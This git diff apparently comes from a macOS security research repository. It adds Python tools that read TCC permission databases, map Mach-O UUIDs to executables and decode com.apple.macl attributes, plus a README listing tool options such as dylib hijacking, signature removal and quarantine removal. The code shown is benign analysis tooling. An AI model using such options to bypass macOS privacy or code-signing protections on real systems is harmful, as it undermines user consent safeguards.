|
||||
def list_available_databases():
|
||||
available_databases = get_available_databases()
|
||||
if available_databases:
|
||||
for db in available_databases:
|
||||
print(f"{db}")
|
||||
else:
|
||||
print("No available databases found.")
|
||||
|
||||
# Main script execution
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='Parse TCC Database for Permissions Information')
|
||||
parser.add_argument('-p', '--path', type=str, help='Path to TCC.db file')
|
||||
parser.add_argument('-t', '--table', action='store_true', help='Output results in table format')
|
||||
parser.add_argument('-a', '--all', action='store_true', help='Automatically query all available TCC databases on the system')
|
||||
parser.add_argument('-l', '--list_db', action='store_true', help='List all available TCC databases on the system')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.list_db:
|
||||
list_available_databases()
|
||||
elif args.all:
|
||||
query_all_databases(output_as_table=args.table)
|
||||
elif args.path:
|
||||
db_path = os.path.expanduser(args.path)
|
||||
if not os.path.exists(db_path):
|
||||
print(f"Error: Could not open {db_path}")
|
||||
exit(1)
|
||||
|
||||
if args.table:
|
||||
query_access(db_path, output_as_table=True)
|
||||
else:
|
||||
query_schema(db_path)
|
||||
print("")
|
||||
query_access(db_path, output_as_table=False)
|
||||
else:
|
||||
parser.print_help()
|
||||
exit(0)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
227
IX. TCC/python/UUIDFinder.py
Executable file
227
IX. TCC/python/UUIDFinder.py
Executable file
@@ -0,0 +1,227 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
import json
|
||||
import subprocess
|
||||
import argparse
|
||||
from typing import List, Optional, Dict
|
||||
|
||||
home_directory = os.path.expanduser("~")
|
||||
DEFAULT_DATABASE_FILE = os.path.join(home_directory, '.uuid_database.json')
|
||||
|
||||
class UUIDFinder:
|
||||
def __init__(self, db_location: str = DEFAULT_DATABASE_FILE):
|
||||
"""Initialize UUIDFinder with database location."""
|
||||
self.db_location = db_location
|
||||
self.database = self.load_database()
|
||||
|
||||
def load_database(self) -> dict:
|
||||
"""Load the UUID database from a JSON file."""
|
||||
if os.path.exists(self.db_location):
|
||||
with open(self.db_location, 'r') as file:
|
||||
return json.load(file)
|
||||
return {}
|
||||
|
||||
def save_database(self):
|
||||
"""Save the UUID database to a JSON file."""
|
||||
with open(self.db_location, 'w') as file:
|
||||
json.dump(self.database, file, indent=4)
|
||||
|
||||
def extract_uuids(self, path: str) -> List[str]:
|
||||
"""Extract UUIDs from a Mach-O file using dwarfdump."""
|
||||
uuids = []
|
||||
try:
|
||||
result = subprocess.run(['dwarfdump', '--uuid', path],
|
||||
capture_output=True, text=True)
|
||||
if result.returncode == 0:
|
||||
for line in result.stdout.splitlines():
|
||||
if 'UUID:' in line:
|
||||
uuid = line.split(':')[1].strip().split()[0].lower()
|
||||
uuids.append(uuid)
|
||||
except Exception as e:
|
||||
print(f"Error extracting UUIDs from {path}: {e}")
|
||||
return uuids
|
||||
|
||||
def get_path_uuids(self, path: str) -> Optional[List[str]]:
|
||||
"""Get UUIDs for a given path from the database."""
|
||||
return self.database.get(path)
|
||||
|
||||
def get_path_by_uuid(self, uuid: str) -> Optional[str]:
|
||||
"""Find path corresponding to a given UUID."""
|
||||
uuid = uuid.lower()
|
||||
for path, uuids in self.database.items():
|
||||
if uuid in uuids:
|
||||
return path
|
||||
return None
|
||||
|
||||
def handle_path_uuid(self, path: str, uuid: str):
|
||||
"""Handle path and UUID combination for database operations."""
|
||||
absolute_path = os.path.abspath(path)
|
||||
uuid = uuid.lower()
|
||||
|
||||
if absolute_path in self.database:
|
||||
if uuid in self.database[absolute_path]:
|
||||
print(f"Record with UUID {uuid} already exists for {absolute_path}")
|
||||
else:
|
||||
print(f"Adding UUID {uuid} to existing record for {absolute_path}")
|
||||
self.database[absolute_path].append(uuid)
|
||||
else:
|
||||
print(f"Creating new record for {absolute_path} with UUID {uuid}")
|
||||
self.database[absolute_path] = [uuid]
|
||||
|
||||
def delete_path(self, path: str):
|
||||
"""Delete a path and its UUIDs from the database."""
|
||||
absolute_path = os.path.abspath(path)
|
||||
if absolute_path in self.database:
|
||||
print(f"Deleting record for: {absolute_path}")
|
||||
del self.database[absolute_path]
|
||||
else:
|
||||
print(f"No record found for: {absolute_path}")
|
||||
|
||||
def resolve_uuid(self, path: str):
|
||||
"""Get UUIDs for a path and add them to the database."""
|
||||
absolute_path = os.path.abspath(path)
|
||||
if not os.path.isfile(absolute_path) or not os.access(absolute_path, os.X_OK):
|
||||
print(f"Invalid path or not an executable: {absolute_path}")
|
||||
return
|
||||
|
||||
uuids = self.extract_uuids(absolute_path)
|
||||
if uuids:
|
||||
print(f"{absolute_path}: {', '.join(uuids)}")
|
||||
self.database[absolute_path] = uuids
|
||||
else:
|
||||
print(f"No UUIDs found in {absolute_path}")
|
||||
|
||||
def show_database(self):
|
||||
"""Display all records in the database."""
|
||||
if not self.database:
|
||||
print("Database is empty")
|
||||
return
|
||||
|
||||
print("\nDatabase contents:")
|
||||
print("-----------------")
|
||||
for path, uuids in self.database.items():
|
||||
print(f"{path} ", end="")
|
||||
print(f"{', '.join(uuids)}")
|
||||
print("\n-----------------")
|
||||
|
||||
def process_paths(args):
|
||||
"""Process paths based on provided arguments."""
|
||||
finder = UUIDFinder(args.db_location)
|
||||
|
||||
# Handle show_db flag
|
||||
if args.show_db:
|
||||
finder.show_database()
|
||||
return
|
||||
|
||||
# Handle UUID lookup without path
|
||||
if args.uuid and not args.path and not args.list:
|
||||
path = finder.get_path_by_uuid(args.uuid)
|
||||
if path:
|
||||
print(f"Path for UUID {args.uuid}: {path}")
|
||||
else:
|
||||
print(f"No path found for UUID: {args.uuid}")
|
||||
return
|
||||
|
||||
paths = []
|
||||
if args.path:
|
||||
paths = [args.path]
|
||||
elif args.list:
|
||||
if os.path.isfile(args.list):
|
||||
with open(args.list, 'r') as file:
|
||||
paths = [line.strip() for line in file if line.strip()]
|
||||
else:
|
||||
print(f"Invalid list file: {args.list}")
|
||||
return
|
||||
|
||||
for path in paths:
|
||||
absolute_path = os.path.abspath(path)
|
||||
|
||||
if args.delete:
|
||||
finder.delete_path(absolute_path)
|
||||
elif args.uuid:
|
||||
finder.handle_path_uuid(absolute_path, args.uuid)
|
||||
elif args.resolve:
|
||||
finder.resolve_uuid(absolute_path)
|
||||
else:
|
||||
# Default behavior: display UUIDs for the path
|
||||
uuids = finder.get_path_uuids(absolute_path)
|
||||
if uuids:
|
||||
print(f"UUIDs for {absolute_path}: {', '.join(uuids)}")
|
||||
else:
|
||||
print(f"No UUIDs found for {absolute_path}")
|
||||
|
||||
finder.save_database()
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description='UUIDFinder - A tool for managing Mach-O executable UUIDs',
|
||||
formatter_class=argparse.RawTextHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
---------
|
||||
|
||||
1. Display UUIDs for a single executable from database:
|
||||
--path /path/to/executable
|
||||
-p /path/to/executable
|
||||
|
||||
2. Find path for a specific UUID in database:
|
||||
--uuid 123e4567-e89b-12d3-a456-426614174000
|
||||
-u 123e4567-e89b-12d3-a456-426614174000
|
||||
|
||||
3. Add or update UUID for a path:
|
||||
--path /path/to/executable --uuid 123e4567-e89b-12d3-a456-426614174000
|
||||
-p /path/to/executable -u 123e4567-e89b-12d3-a456-426614174000
|
||||
|
||||
4. Extract and add UUIDs from executable to database:
|
||||
--path /path/to/executable --resolve
|
||||
-p /path/to/executable -r
|
||||
|
||||
5. Delete path and its UUIDs from database:
|
||||
--path /path/to/executable --delete
|
||||
-p /path/to/executable -d
|
||||
|
||||
6. Process multiple executables from a list file:
|
||||
--list /path/to/list.txt --resolve
|
||||
-l /path/to/list.txt -r
|
||||
|
||||
7. Show all records in the database:
|
||||
--show_db
|
||||
-s
|
||||
|
||||
8. Use custom database location:
|
||||
--path /path/to/executable --db_location /custom/path/db.json
|
||||
-p /path/to/executable --db_location /custom/path/db.json
|
||||
|
||||
Notes:
|
||||
------
|
||||
- All UUIDs are stored in lowercase in the database
|
||||
- The default database file is 'uuid_database.json' in the current directory
|
||||
- When using --list, each path should be on a new line in the list file
|
||||
- The tool automatically converts relative paths to absolute paths
|
||||
""")
|
||||
|
||||
# Path specification group
|
||||
path_group = parser.add_mutually_exclusive_group()
|
||||
path_group.add_argument('--path', '-p', help='Path to the executable')
|
||||
path_group.add_argument('--list', '-l', help='Path to a file containing a list of executables')
|
||||
|
||||
# Action group
|
||||
parser.add_argument('--uuid', '-u', help='UUID to lookup or add')
|
||||
parser.add_argument('--delete', '-d', action='store_true', help='Delete the path record from database')
|
||||
parser.add_argument('--resolve', '-r', action='store_true', help='Get UUIDs for the path and add to database')
|
||||
parser.add_argument('--show_db', '-s', action='store_true', help='Show all records in the database')
|
||||
|
||||
# Database location
|
||||
parser.add_argument('--db_location', default=DEFAULT_DATABASE_FILE,
|
||||
help='Location of the UUID database file')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Validate that at least one argument is provided
|
||||
if not any([args.path, args.list, args.show_db, args.uuid]):
|
||||
parser.error("At least one of --path, --list, --show_db, or --uuid is required")
|
||||
|
||||
process_paths(args)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
66
IX. TCC/python/get_uuid.py
Normal file
66
IX. TCC/python/get_uuid.py
Normal file
@@ -0,0 +1,66 @@
|
||||
import os
|
||||
import subprocess
|
||||
import argparse
|
||||
|
||||
def extract_uuids(path):
|
||||
"""Extract UUIDs from a Mach-O file using dwarfdump."""
|
||||
uuids = []
|
||||
try:
|
||||
# Run dwarfdump command to get UUIDs
|
||||
result = subprocess.run(['dwarfdump', '--uuid', path], capture_output=True, text=True)
|
||||
if result.returncode == 0:
|
||||
for line in result.stdout.splitlines():
|
||||
if 'UUID:' in line:
|
||||
uuid = line.split(':')[1].strip().split()[0] # Extract UUID part only
|
||||
uuids.append(uuid)
|
||||
else:
|
||||
print(f"Error running dwarfdump: {result.stderr.strip()}")
|
||||
except Exception as e:
|
||||
print(f"Error extracting UUIDs from {path}: {e}")
|
||||
return uuids
|
||||
|
||||
def process_path(path, add_record=False):
|
||||
"""Process a single path to extract UUIDs and optionally add them to the database."""
|
||||
absolute_path = os.path.abspath(path)
|
||||
if not os.path.isfile(absolute_path) or not os.access(absolute_path, os.X_OK):
|
||||
print(f"Invalid path or not an executable: {absolute_path}")
|
||||
return
|
||||
|
||||
# Extract UUIDs from the Mach-O file
|
||||
uuids = extract_uuids(absolute_path)
|
||||
|
||||
# Output or add UUIDs to the database
|
||||
if uuids:
|
||||
uuid_string = ','.join(uuids) # Combine UUIDs into a single comma-separated string
|
||||
if add_record:
|
||||
# Call uuid_manager.py with the combined UUID string
|
||||
subprocess.run(['python3', 'uuid_manager.py', '-p', absolute_path, '-u', uuid_string])
|
||||
else:
|
||||
print(f"{absolute_path}: {uuid_string}")
|
||||
else:
|
||||
print(f"No UUIDs found in {absolute_path}")
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='Extract UUIDs from specified Mach-O binaries using dwarfdump.')
|
||||
group = parser.add_mutually_exclusive_group(required=True)
|
||||
group.add_argument('--path', '-p', type=str, help='Path to the Mach-O binary')
|
||||
group.add_argument('--list', '-l', type=str, help='Path to a file containing a list of binaries')
|
||||
parser.add_argument('--add_record', action='store_true', help='Add extracted UUIDs to the database')
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.path:
|
||||
# Process a single path
|
||||
process_path(args.path, add_record=args.add_record)
|
||||
elif args.list:
|
||||
# Process a list of paths
|
||||
if os.path.isfile(args.list):
|
||||
with open(args.list, 'r') as file:
|
||||
for line in file:
|
||||
line = line.strip()
|
||||
if line:
|
||||
process_path(line, add_record=args.add_record)
|
||||
else:
|
||||
print(f"Invalid list file: {args.list}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
109
IX. TCC/python/uuid_manager.py
Normal file
109
IX. TCC/python/uuid_manager.py
Normal file
@@ -0,0 +1,109 @@
|
||||
import json
|
||||
import os
|
||||
import argparse
|
||||
|
||||
DEFAULT_DATABASE_FILE = 'uuid_database.json'
|
||||
|
||||
def load_database(db_location):
|
||||
"""Load the UUID database from a JSON file."""
|
||||
if os.path.exists(db_location):
|
||||
with open(db_location, 'r') as file:
|
||||
return json.load(file)
|
||||
return {}
|
||||
|
||||
def save_database(database, db_location):
|
||||
"""Save the UUID database to a JSON file."""
|
||||
with open(db_location, 'w') as file:
|
||||
json.dump(database, file, indent=4)
|
||||
|
||||
def add_record(database, path, uuids):
|
||||
"""Overwrite or add new UUIDs for the executable path, converting them to lowercase."""
|
||||
uuids_lower = [uuid.lower() for uuid in uuids]
|
||||
print(f"Adding/updating record: {path} -> [{', '.join(uuids_lower)}]")
|
||||
database[path] = uuids_lower
|
||||
|
||||
def remove_record(database, path):
|
||||
"""Remove the record for the specified executable path."""
|
||||
if path in database:
|
||||
print(f"Removing record for: {path}")
|
||||
del database[path]
|
||||
else:
|
||||
print(f"No record found for: {path}")
|
||||
|
||||
def append_uuid(database, path, uuids):
|
||||
"""Append UUIDs to the existing list for the executable path, ensuring all UUIDs are lowercase."""
|
||||
if path in database:
|
||||
for uuid in uuids:
|
||||
uuid_lower = uuid.lower()
|
||||
if uuid_lower not in database[path]:
|
||||
print(f"Appending UUID to existing record: {path} -> {uuid_lower}")
|
||||
database[path].append(uuid_lower)
|
||||
else:
|
||||
print(f"UUID already exists for {path}: {uuid_lower}")
|
||||
else:
|
||||
print(f"Path does not exist in the database: {path}")
|
||||
|
||||
def display_uuids(database, path):
|
||||
"""Display existing UUIDs for a given executable path."""
|
||||
if path in database:
|
||||
print(f"UUIDs for {path}: {', '.join(database[path])}")
|
||||
else:
|
||||
print(f"No record found for path: {path}")
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description='Manage UUID database for Mach-O executables.',
|
||||
formatter_class=argparse.RawTextHelpFormatter,
|
||||
epilog="""\
|
||||
Examples of usage:
|
||||
|
||||
Add or update (replace existing) UUIDs for an executable path:
|
||||
python uuid_manager.py -p /path/to/executable -u "uuid1,uuid2,uuid3"
|
||||
|
||||
Remove a record for an executable:
|
||||
python uuid_manager.py -p /path/to/executable -r
|
||||
|
||||
Append UUIDs to an existing record:
|
||||
python uuid_manager.py -p /path/to/executable -a "uuid4,uuid5"
|
||||
|
||||
Display UUIDs for a specified path:
|
||||
python uuid_manager.py -p /path/to/executable
|
||||
|
||||
Specify a custom database location:
|
||||
python uuid_manager.py -p /path/to/executable -u "uuid1,uuid2" -d /custom/path/uuid_database.json
|
||||
""")
|
||||
|
||||
parser.add_argument('--path', '-p', type=str, help='Path to the executable')
|
||||
parser.add_argument('--uuid', '-u', type=str, help='Comma-separated UUIDs to associate with the executable')
|
||||
parser.add_argument('-r', '--remove', action='store_true', help='Remove the record for the specified executable path')
|
||||
parser.add_argument('-a', '--append_uuid', type=str, help='Comma-separated UUIDs to append to the existing record')
|
||||
parser.add_argument('--db_location', '-d', type=str, default=DEFAULT_DATABASE_FILE, help='Location of the UUID database file')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Load the specified database location
|
||||
database = load_database(args.db_location)
|
||||
|
||||
# Handle removing records if -r is specified
|
||||
if args.remove and args.path:
|
||||
remove_record(database, args.path)
|
||||
|
||||
# Handle adding/updating UUIDs if --path and --uuid are provided and -r is not specified
|
||||
elif args.path and args.uuid:
|
||||
uuids = args.uuid.split(',')
|
||||
add_record(database, args.path, uuids)
|
||||
|
||||
# Handle appending UUIDs if --append_uuid and --path are specified
|
||||
elif args.append_uuid and args.path:
|
||||
append_uuids = args.append_uuid.split(',')
|
||||
append_uuid(database, args.path, append_uuids)
|
||||
|
||||
# If only --path is specified, display existing UUIDs for that path
|
||||
elif args.path:
|
||||
display_uuids(database, args.path)
|
||||
|
||||
# Save the database
|
||||
save_database(database, args.db_location)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
91
IX. TCC/python/xattr_ng.py
Normal file
91
IX. TCC/python/xattr_ng.py
Normal file
@@ -0,0 +1,91 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import xattr
|
||||
import uuid
|
||||
import sys
|
||||
import argparse
|
||||
|
||||
class XattrReader:
|
||||
def __init__(self, file_path):
|
||||
self.file_path = file_path
|
||||
|
||||
def get_all_xattrs(self):
|
||||
"""Return all extended attribute names."""
|
||||
return xattr.listxattr(self.file_path)
|
||||
|
||||
def get_all_xattr_values(self):
|
||||
"""Return a dictionary of attribute names and their raw values."""
|
||||
attributes = self.get_all_xattrs()
|
||||
all_attributes_values = {}
|
||||
for attr in attributes:
|
||||
value = xattr.getxattr(self.file_path, attr)
|
||||
all_attributes_values[attr] = value
|
||||
return all_attributes_values
|
||||
|
||||
def hexdump(self, byte_data):
|
||||
"""Convert raw byte data to a hex string."""
|
||||
return byte_data.hex()
|
||||
|
||||
def print_all_xattr_values(self, raw=False):
|
||||
"""Print each attribute and its value in hex format or human-readable format."""
|
||||
all_attributes_values = self.get_all_xattr_values()
|
||||
for k, v in all_attributes_values.items():
|
||||
if raw:
|
||||
# Print raw hex values
|
||||
hex_value = self.hexdump(v)
|
||||
print(f"{k}: {hex_value}")
|
||||
else:
|
||||
# Human-readable format, interpreting 'com.apple.macl' if found
|
||||
if k == "com.apple.macl":
|
||||
print("com.apple.macl: ", end="")
|
||||
self.parse_macl(v)
|
||||
print()
|
||||
else:
|
||||
try:
|
||||
# Attempt to decode as UTF-8
|
||||
print(f"{k}: {v.decode('utf-8')}")
|
||||
except UnicodeDecodeError:
|
||||
# Fallback to hex if decoding fails
|
||||
print(f"{k}: {self.hexdump(v)}")
|
||||
|
||||
def parse_macl(self, macl_data):
|
||||
"""Parse the 'com.apple.macl' extended attribute for header and UUIDs."""
|
||||
if len(macl_data) % 18 != 0:
|
||||
print("Unexpected macl attribute length.")
|
||||
return
|
||||
|
||||
for i in range(0, len(macl_data), 18):
|
||||
entry = macl_data[i:i+18]
|
||||
header = entry[:2].hex()
|
||||
uuid_bytes = entry[2:]
|
||||
entry_uuid = str(uuid.UUID(bytes=uuid_bytes))
|
||||
|
||||
if header == "0000" and entry_uuid == "00000000-0000-0000-0000-000000000000":
|
||||
continue
|
||||
|
||||
print(f"{header},{entry_uuid}", end="")
|
||||
|
||||
def parse_arguments():
|
||||
parser = argparse.ArgumentParser(description="Display extended attributes in raw or human-readable format.")
|
||||
parser.add_argument("file_path", help="Path to the file with extended attributes.")
|
||||
parser.add_argument(
|
||||
"--raw",
|
||||
action="store_true",
|
||||
help="Display output in raw hex format."
|
||||
)
|
||||
parser.add_argument(
|
||||
"--human",
|
||||
action="store_true",
|
||||
help="Display output in human-readable format (default)."
|
||||
)
|
||||
return parser.parse_args()
|
||||
|
||||
if __name__ == "__main__":
|
||||
args = parse_arguments()
|
||||
reader = XattrReader(args.file_path)
|
||||
|
||||
# Determine output mode: default to human-readable if neither --raw nor --human is set
|
||||
if args.raw:
|
||||
reader.print_all_xattr_values(raw=True)
|
||||
else:
|
||||
reader.print_all_xattr_values(raw=False)
|
||||
492
README.md
492
README.md
@@ -15,6 +15,7 @@ The table of contents showing links to all articles is below:
|
||||
* ☑ [Cracking macOS apps](https://karol-mazurek.medium.com/cracking-macos-apps-39575dd672e0?sk=v2%2F727dce55-53ee-45f6-b051-2979e62f2ba1)
|
||||
* ☑ [Cracking Electron Integrity](https://karol-mazurek.medium.com/cracking-electron-integrity-0a10e0d5f239?sk=v2%2F7726b99c-c6c9-4d70-8c37-da9f2f0874e8)
|
||||
* ☑ [I. Mach-O](https://karol-mazurek95.medium.com/snake-apple-i-mach-o-a8eda4b87263?sk=v2%2Ffc1cbfa4-e2d4-4387-9a82-b27191978b5b)
|
||||
* ☑ [Optimizing Mach-O Detection](https://karol-mazurek.medium.com/optimizing-mach-o-detection-40352101bbef?sk=v2%2F3378d3f5-874b-4b82-94d5-b2ccd8522ea3)
|
||||
* ☑ [II. Code Signing](https://karol-mazurek95.medium.com/snake-apple-ii-code-signing-f0a9967b7f02?sk=v2%2Fbbc87007-89ca-4135-91d6-668b5d2fe9ae)
|
||||
* ☑ [III. Checksec](https://karol-mazurek95.medium.com/snake-apple-iii-checksec-ed64a4b766c1?sk=v2%2Fb4b8d637-e906-4b6b-8088-ca1f893cd787)
|
||||
* ☑ [IV. Dylibs](https://karol-mazurek.medium.com/snake-apple-iv-dylibs-2c955439b94e?sk=v2%2Fdef72b7a-121a-47a1-af89-7bf53aed1ea2)
|
||||
@@ -39,14 +40,15 @@ The table of contents showing links to all articles is below:
|
||||
* ☑ [Sandbox Detector](https://karol-mazurek.medium.com/sandbox-detector-4268ab3cd361?sk=v2%2F58fe49fb-1381-4db3-9db9-3f6309e4053a)
|
||||
* ☑ [Sandbox Validator](https://karol-mazurek.medium.com/sandbox-validator-e760e5d88617?sk=v2%2F145ac2ef-ca06-41a0-b310-c96f4ce0037b)
|
||||
* ☑ [App Sandbox startup](https://karol-mazurek.medium.com/app-sandbox-startup-71daf8f259d1?sk=v2%2F9f3b09a6-c7c0-445d-8613-8e25bf3f4e4d)
|
||||
* ☐ [System Intigrity Protection]()
|
||||
* ☐ [IX. TCC]()
|
||||
* ☑ [System Intigrity Protection](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
|
||||
* ☐ [IX. TCC](https://karol-mazurek.medium.com/snake-apple-ix-tcc-ae822e3e2718?sk=v2%2F426ae6cf-6418-4e3f-a0ca-3aee06d6f676)
|
||||
* ☑ [Apple UUID Finder](https://karol-mazurek.medium.com/apple-uuid-finder-a5173bdd1a8a?sk=v2%2F04bb0d32-6dc9-437d-bf72-8f65e03fed90)
|
||||
* ☐ [X. NU]()
|
||||
* ☑ [Kernel Debugging Setup on MacOS](https://karol-mazurek.medium.com/kernel-debugging-setup-on-macos-07dd8c86cdb6?sk=v2%2F782bf539-a057-4f14-bbe7-f8e1ace26701)
|
||||
|
||||
* ☐ [Fixing an Infinite Loop](https://karol-mazurek.medium.com/fixing-an-infinite-loop-on-unix-e0a8a5501c54?sk=v2%2F140555f8-9770-4c6b-9734-d9c5b7cc9bc7)
|
||||
|
||||
## TOOLS
|
||||
[CrimsonUroboros](#crimsonuroboros) • [MachOFileFinder](#machofilefinder) • [TrustCacheParser](#trustcacheparser) • [SignatureReader](#signaturereader) • [extract_cms.sh](#extract_cmssh) • [ModifyMachOFlags](#modifymachoflags) • [LCFinder](#lcfinder) • [MachODylibLoadCommandsFinder](#machodylibloadcommandsfinder) • [AMFI_test.sh](VI.%20AMFI/custom/AMFI_test.sh) • [make_plist](VIII.%20Sandbox/python/make_plist.py) • [sandbox_inspector](VIII.%20Sandbox/python/sandbox_inspector.py) • [spblp_compiler_wrapper](VIII.%20Sandbox/custom/sbpl_compiler_wrapper) • [make_bundle](#make_bundle) • [make_bundle_exe](#make_bundle_exe) • [make_dmg](#make_dmg) • [electron_patcher](#electron_patcher) • [sandbox_validator](#sandbox_validator) • [sandblaster](#sandblaster)
|
||||
[CrimsonUroboros](#crimsonuroboros) • [MachOFileFinder](#machofilefinder) • [TrustCacheParser](#trustcacheparser) • [SignatureReader](#signaturereader) • [extract_cms.sh](#extract_cmssh) • [ModifyMachOFlags](#modifymachoflags) • [LCFinder](#lcfinder) • [MachODylibLoadCommandsFinder](#machodylibloadcommandsfinder) • [AMFI_test.sh](VI.%20AMFI/custom/AMFI_test.sh) • [make_plist](VIII.%20Sandbox/python/make_plist.py) • [sandbox_inspector](VIII.%20Sandbox/python/sandbox_inspector.py) • [spblp_compiler_wrapper](VIII.%20Sandbox/custom/sbpl_compiler_wrapper) • [make_bundle](#make_bundle) • [make_bundle_exe](#make_bundle_exe) • [make_dmg](#make_dmg) • [electron_patcher](#electron_patcher) • [sandbox_validator](#sandbox_validator) • [sandblaster](#sandblaster) • [sip_check](#sip_check) • [crimson_waccess.py](#crimson_waccesspy) • [sip_tester](#sip_tester) • [UUIDFinder](#uuidfinder)
|
||||
***
|
||||
|
||||
### [CrimsonUroboros](tests/CrimsonUroboros.py)
|
||||
@@ -54,37 +56,68 @@ The table of contents showing links to all articles is below:
|
||||
Core program resulting from the Snake&Apple article series for binary analysis. You may find older versions of this script in each article directory in this repository.
|
||||
* Usage
|
||||
```console
|
||||
usage: CrimsonUroboros [-h] [-p PATH] [-b BUNDLE] [--bundle_structure] [--bundle_info]
|
||||
[--bundle_info_syntax_check] [--bundle_frameworks] [--bundle_plugins] [--bundle_id]
|
||||
[--file_type] [--header_flags] [--endian] [--header] [--load_commands] [--has_cmd LC_MAIN]
|
||||
[--segments] [--has_segment __SEGMENT] [--sections] [--has_section __SEGMENT,__section]
|
||||
[--symbols] [--imports] [--exports] [--imported_symbols] [--chained_fixups]
|
||||
[--exports_trie] [--uuid] [--main] [--encryption_info [(optional) save_path.bytes]]
|
||||
[--strings_section] [--all_strings] [--save_strings all_strings.txt] [--info]
|
||||
[--dump_data [offset,size,output_path]] [--calc_offset vm_offset] [--constructors]
|
||||
[--dump_section __SEGMENT,__section] [--dump_binary output_path] [--verify_signature]
|
||||
[--cd_info] [--cd_requirements] [--entitlements [human|xml|var]]
|
||||
[--extract_cms cms_signature.der] [--extract_certificates certificate_name]
|
||||
[--remove_sig unsigned_binary] [--sign_binary [adhoc|identity]] [--cs_offset] [--cs_flags]
|
||||
[--verify_bundle_signature] [--remove_sig_from_bundle] [--has_pie] [--has_arc]
|
||||
[--is_stripped] [--has_canary] [--has_nx_stack] [--has_nx_heap] [--has_xn] [--is_notarized]
|
||||
[--is_encrypted] [--is_restricted] [--is_hr] [--is_as] [--is_fort] [--has_rpath] [--has_lv]
|
||||
[--checksec] [--dylibs] [--rpaths] [--rpaths_u] [--dylibs_paths] [--dylibs_paths_u]
|
||||
[--broken_relative_paths] [--dylibtree [cache_path,output_path,is_extracted]] [--dylib_id]
|
||||
[--reexport_paths] [--hijack_sec] [--dylib_hijacking [(optional) cache_path]]
|
||||
[--dylib_hijacking_a [cache_path]] [--prepare_dylib [(optional) target_dylib_name]]
|
||||
[--is_built_for_sim] [--get_dyld_env] [--compiled_with_dyld_env] [--has_interposing]
|
||||
[--interposing_symbols] [--dump_prelink_info [(optional) out_name]]
|
||||
[--dump_prelink_text [(optional) out_name]] [--dump_prelink_kext [kext_name]]
|
||||
[--kext_prelinkinfo [kext_name]] [--kmod_info kext_name] [--kext_entry kext_name]
|
||||
[--kext_exit kext_name] [--mig] [--has_suid] [--has_sgid] [--has_sticky]
|
||||
[--injectable_dyld] [--test_insert_dylib] [--test_prune_dyld] [--test_dyld_print_to_file]
|
||||
[--test_dyld_SLC] [--xattr] [--xattr_value xattr_name] [--xattr_all] [--has_quarantine]
|
||||
[--remove_quarantine] [--add_quarantine] [--sandbox_container_path]
|
||||
[--sandbox_container_metadata] [--sandbox_redirectable_paths] [--sandbox_parameters]
|
||||
[--sandbox_entitlements] [--sandbox_build_uuid] [--sandbox_redirected_paths]
|
||||
[--sandbox_system_images] [--sandbox_system_profiles] [--sandbox_content_protection]
|
||||
[--sandbox_profile_data] [--dump_kext kext_name] [--extract_sandbox_operations]
|
||||
usage: CrimsonUroboros [-h] [-p PATH] [-b BUNDLE] [--bundle_structure]
|
||||
[--bundle_info] [--bundle_info_syntax_check]
|
||||
[--bundle_frameworks] [--bundle_plugins] [--bundle_id]
|
||||
[--file_type] [--header_flags] [--endian] [--header]
|
||||
[--load_commands] [--has_cmd LC_MAIN] [--segments]
|
||||
[--has_segment __SEGMENT] [--sections]
|
||||
[--has_section __SEGMENT,__section] [--symbols]
|
||||
[--imports] [--exports] [--imported_symbols]
|
||||
[--chained_fixups] [--exports_trie] [--uuid] [--main]
|
||||
[--encryption_info [(optional) save_path.bytes]]
|
||||
[--strings_section] [--all_strings]
|
||||
[--save_strings all_strings.txt] [--info]
|
||||
[--dump_data [offset,size,output_path]]
|
||||
[--calc_offset vm_offset] [--constructors]
|
||||
[--dump_section __SEGMENT,__section]
|
||||
[--dump_binary output_path] [--verify_signature]
|
||||
[--cd_info] [--cd_requirements]
|
||||
[--entitlements [human|xml|var]]
|
||||
[--extract_cms cms_signature.der]
|
||||
[--extract_certificates certificate_name]
|
||||
[--remove_sig unsigned_binary]
|
||||
[--sign_binary [adhoc|identity]] [--cs_offset]
|
||||
[--cs_flags] [--verify_bundle_signature]
|
||||
[--remove_sig_from_bundle] [--has_pie] [--has_arc]
|
||||
[--is_stripped] [--has_canary] [--has_nx_stack]
|
||||
[--has_nx_heap] [--has_xn] [--is_notarized]
|
||||
[--is_encrypted] [--is_restricted] [--is_hr] [--is_as]
|
||||
[--is_fort] [--has_rpath] [--has_lv] [--checksec]
|
||||
[--dylibs] [--rpaths] [--rpaths_u] [--dylibs_paths]
|
||||
[--dylibs_paths_u] [--broken_relative_paths]
|
||||
[--dylibtree [cache_path,output_path,is_extracted]]
|
||||
[--dylib_id] [--reexport_paths] [--hijack_sec]
|
||||
[--dylib_hijacking [(optional) cache_path]]
|
||||
[--dylib_hijacking_a [cache_path]]
|
||||
[--prepare_dylib [(optional) target_dylib_name]]
|
||||
[--is_built_for_sim] [--get_dyld_env]
|
||||
[--compiled_with_dyld_env] [--has_interposing]
|
||||
[--interposing_symbols]
|
||||
[--dump_prelink_info [(optional) out_name]]
|
||||
[--dump_prelink_text [(optional) out_name]]
|
||||
[--dump_prelink_kext [kext_name]]
|
||||
[--kext_prelinkinfo [kext_name]]
|
||||
[--kmod_info kext_name] [--kext_entry kext_name]
|
||||
[--kext_exit kext_name] [--mig] [--has_suid]
|
||||
[--has_sgid] [--has_sticky] [--injectable_dyld]
|
||||
[--test_insert_dylib] [--test_prune_dyld]
|
||||
